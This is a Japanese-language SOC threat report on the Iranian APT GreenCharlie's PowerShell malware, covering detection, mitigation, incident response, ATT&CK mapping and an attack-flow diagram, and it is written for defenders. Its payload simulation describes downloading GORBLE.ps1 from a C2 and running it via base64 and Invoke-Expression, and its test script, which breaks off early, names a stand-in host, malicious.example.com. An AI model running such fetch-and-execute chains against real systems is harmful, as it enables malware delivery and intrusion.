GreenCharlie: イランに支援されたAPTによるPowerShellエクスプロイトに関するSOCレポート
Detection stack
- AIDR
- Alert
- ETL
- Query
GreenCharlie PowerShell エクスプロイト概要
GreenCharlieは、イランを拠点とするAPTグループで、複数段階のPowerShellマルウェアファミリー(GORBLE、TAMECAT、POWERSTAR)を使ってサイバースパイ活動を行っています。このグループはフィッシングのために多くの動的DNSドメインを登録し、カスタムBase64とビット演算による難読化されたPowerShellスクリプトを使用し、HTTPS POSTを介してC2サーバーと通信します。活動は2024年5月から8月にイランのIPとVPNサービスを使ってトラフィックをマスクしながら急増しました。
調査
グループに関連付けられた既知のDDNSドメインやIP範囲(例: *.ddnsgeek.com, *.dns-dynamic.net)への接続のネットワークトラフィックを分析します。Base64デコードの後にビット演算NOT操作を実行するPowerShell実行チェーンや、ScriptBlock.CreateまたはInvoke‑Expressionを呼び出すスクリプトを探します。プロセスインジェクションや復号されたペイロードのメモリ内実行を監視します。アラートをATT&CK技術 T1583.001, T1566.002, T1059.001, T1568と関連づけます。
緩和策
厳格なPowerShellのログ記録(ModuleLogging、ScriptBlockLogging)を実装し、制約言語モードを強制します。既知のDDNSプロバイダーや疑わしいTLD(.info, .xyz, .icu, .network, .online, .site)へのトラフィックをブロックまたはプロキシします。DNSサンドボックス化とフィッシングドメインのURLフィルタリングを展開します。エンドポイント検出と応答(EDR)ソリューションを使用して難読化されたPowerShellスクリプトやメモリ内AES復号を検出します。サービスアカウントに対する最小権限を強制し、不必要なリモート実行ツールを無効にします。
GreenCharlie脅威への対処
インジケーターが検出された場合、影響を受けたホストを隔離し、揮発性メモリをキャプチャし、PowerShellログを収集します。復号されたペイロードを抽出し、C2サーバーを特定するためにフォレンジック分析を行います。侵害された資格情報を取り消し、秘密をローテーションし、関連するスケジュール済タスクや持続性メカニズムを削除します。関連するISACsとIOCs(ドメイン、IP、ハッシュ値)のサイバー脅威インテリジェンスを共有し、検出ルールを更新します。
graph TB %% Class Definitions classDef technique fill:#ffcc99 classDef action fill:#99ccff classDef process fill:#ccffcc classDef data fill:#f0e68c %% Nodes start[“<b>開始</b>: 初期実行トリガー”] class start action tech_execution[“<b>Technique</b> – T1059.001<br /><b>PowerShell</b>: ペイロードをダウンロードするためにスクリプトを実行”] class tech_execution technique process_download[“<b>プロセス</b>: 第2段階ペイロードをダウンロード”] class process_download process tech_obf1[“<b>Technique</b> – T1027.008<br />ストリップされたペイロード(Base64 + NOT)”] class tech_obf1 technique tech_obf2[“<b>Technique</b> – T1027.014<br />多態コード(バリアントエンコーディング)”] class tech_obf2 technique tech_decode[“<b>Technique</b> – T1140<br />ペイロードのデコード/難読化解除”] class tech_decode technique tech_dns[“<b>Technique</b> – T1071.004<br />DNS アプリケーション層プロトコル”] class tech_dns technique tech_dga[“<b>Technique</b> – T1568.002<br />ドメイン生成アルゴリズム(DGA)”] class tech_dga technique tech_web[“<b>Technique</b> – T1102.002<br />HTTPS 双方向 Web サービス”] class tech_web technique tech_encrypt[“<b>Technique</b> – T1573<br />AES 暗号化チャネル”] class tech_encrypt technique data_exfil[“<b>データ</b>: システム情報(OS、コンピュータ名)”] class data_exfil data tech_exfil[“<b>Technique</b> – T1041<br />C2 チャネル経由のデータ流出”] class tech_exfil technique %% Connections start –>|トリガー| tech_execution tech_execution –>|ダウンロード| process_download process_download –>|難読化に使用| tech_obf1 process_download –>|適用| tech_obf2 process_download –>|デコード| tech_decode tech_decode –>|通信経路| tech_dns tech_dns –>|使用| tech_dga tech_dns –>|通信経路| tech_web tech_web –>|暗号化方式| tech_encrypt tech_encrypt –>|転送| data_exfil data_exfil –>|送信経路| tech_exfil
攻撃フロー
GreenCharlie PowerShell 検出ルール
GreenCharlie APT PowerShell マルウェアフレームワークの検出 [Windows Powershell]
表示
第三者サービス/ツールを通じたデータの流入/流出/C2(プロキシ経由)の可能性
表示
検出するためのIOC(ip):GreenCharlie APT:イランのPowerShellベースのサイバースパイ活動
表示
検出するためのIOC(メール):GreenCharlie APT:イランのPowerShellベースのサイバースパイ活動
表示
ペイロードシミュレーション手順
-
攻撃の流れとコマンド:
ステージ1 – 悪意あるローダーを取得:
攻撃者はInvoke-WebRequestを使って、C2サーバーから GORBLE.ps1 という名前のPowerShellスクリプトをダウンロードします。ステージ2 – ペイロードのエンコード:
ダウンロードされたスクリプトには悪意あるペイロードが含まれています。攻撃者はスクリプト全体をbase64でエンコードし、変数に格納します$x.ステージ3 – 高リスクなcmdletを通じた実行:
Invoke-Expressionを使って攻撃者は$xをその場でデコードして実行し、GORBLEフレームワークを呼び出します。ステージ4 – 水平移動 (オプション):
ペイロードは後で、リモートホストで第二段階のPowerShellコマンドを起動するために、ビット演算NOTで難読化された文字列を使ってScriptBlock.Createを呼び出すかもしれません。 -
回帰テストスクリプト:
# ------------------------------------------------- # GreenCharlie APT PowerShell Framework Simulation # ------------------------------------------------- # 1. Simulate download of the malicious framework (keyword GORBLE) $maliciousUrl = "http://malicious.example.com/GORBLE.ps1" $downloaded = @" # GORBLE - simulated malicious payload
SOCプライムのDetection as Codeプラットフォームに参加してください ビジネスに最も関連する脅威の可視性を向上させるために。開始をお手伝いし、即時の価値を提供するために、今すぐSOCプライムの専門家とミーティングを予約してください。
Cookie Settings
You can set your browser to block or alert you about these cookies, but some parts of the site will not then work. These cookies do not store any personally identifiable information.
| Name | Descripiton |
|---|---|
| PHPSESSID | Preserves user session state across page requests. Cookie generated by applications based on the PHP language. This is a general purpose identifier used to maintain user session variables. It is normally a random generated number, how it is used can be specific to the site, but a good example is maintaining a logged-in status for a user between pages. |
| sp_i | Used to store information about authenticated User. |
| sp_r | Used to store information about authenticated User. |
| sp_a | Used to store information about authenticated User. |
All information these cookies collect is aggregated and therefore anonymous. If you do not allow these cookies we will not know when you have visited our site, and will not be able to monitor its performance.
| Name | Descripiton |
|---|---|
| tuuid | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| tuuid_last_update | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| um | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| umeh | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| na_sc_x | Used by the social sharing platform AddThis to keep a record of parts of the site that has been visited in order to recommend other parts of the site. |
| APID | Collects anonymous data related to the user's visits to the website. |
| IDSYNC | Collects anonymous data related to the user's visits to the website. |
| _cc_aud | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| _cc_cc | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| _cc_dc | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| _cc_id | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| dpm | Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads. |
| acs | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads. |
| clid | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads. |
| KRTBCOOKIE_# | Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads. |
| PUBMDCID | Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads. |
| PugT | Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads. |
| ssi | Registers a unique ID that identifies a returning user's device. The ID is used for targeted ads. |
| _tmid | Registers a unique ID that identifies the user's device upon return visits. The ID is used to target ads in video clips. |
| wam-sync | Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website. |
| wui | Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website. |
| AFFICHE_W | Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website. |
| B | Collects anonymous data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The registered data is used to categorise the users' interest and demographical profiles with the purpose of customising the website content depending on the visitor. |
| 1P_JAR | These cookies are used to gather website statistics, and track conversion rates. |
| APISID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| HSID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| NID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| SAPISID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| SID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| SIDCC | Security cookie to protect users data from unauthorised access. |
| SSID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| __utmx | This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website. |
| __utmxx | This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website. |
If you do not allow these cookies then some or all of these services may not function properly.
| Name | Descripiton |
|---|---|
| _hjid | Hotjar cookie. This cookie is set when the customer first lands on a page with the Hotjar script. It is used to persist the random user ID, unique to that site on the browser. This ensures that behavior in subsequent visits to the same site will be attributed to the same user ID. |
| _hjIncludedInSample | This cookie is associated with web analytics functionality and services from Hot Jar, a Malta based company. It uniquely identifies a visitor during a single browser session and indicates they are included in an audience sample. |
| intercom-id-[xxx] | This cookie is used by Intercom as a session so that users can continue a chat as they move through the site. |
| intercom-session-[xxx] | Used to keeping track of sessions and remember logins and conversations. |
| demdex | Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads. |
| CookieConsent | Stores the user's cookie consent state for the current domain. |
| __cfduid | Used by the content network, Cloudflare, to identify trusted web traffic. |
| ss | These cookies enable the website to provide enhanced functionality and
personalisation . They may be set by us or by third party providers whose
services we have added to our pages. These services may include the Live Chat facility, Contact Us form(s), the Product Quotation forms and submission process, and the Email Newsletter sign up functionality . |
They do not store directly personal information, but are based on uniquely identifying your browser and internet device. If you do not allow these cookies, you will experience less targeted advertising.
| Name | Descripiton |
|---|---|
| _ga | This cookie name is asssociated with Google Universal Analytics - which is a significant update to Google's more commonly used analytics service. This cookie is used to distinguish unique users by assigning a randomly generated number as a client identifier. It is included in each page. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. request in a site and used to calculate visitor, session and campaign data for the sites analytics reports. By default it is set to expire after 2 years, although this is customisable by website owners. |
| _gat | Used by Google Analytics to throttle request rate. This cookie name is associated with Google Universal Analytics, according to documentation it is used to throttle the request rate - limiting the collection of data on high traffic sites. It expires after 10 minutes. |
| _gid | This cookie name is asssociated with Google Universal Analytics. This appears to be a new cookie and as of Spring 2017 no information is available from Google. It appears to store and update a unique value for each page visited. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. |
| IDE | Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user. |
| r/collect | Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user. |
| test_cookie | Used to check if the user's browser supports cookies. |
| collect | Used to send data to Google Analytics about the visitor's device and behaviour. Tracks the visitor across devices and marketing channels. |
| ads/user-lists/# | These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites. |
| c | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| khaos | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| put_# | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| rpb | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| rpx | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| tap.php | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |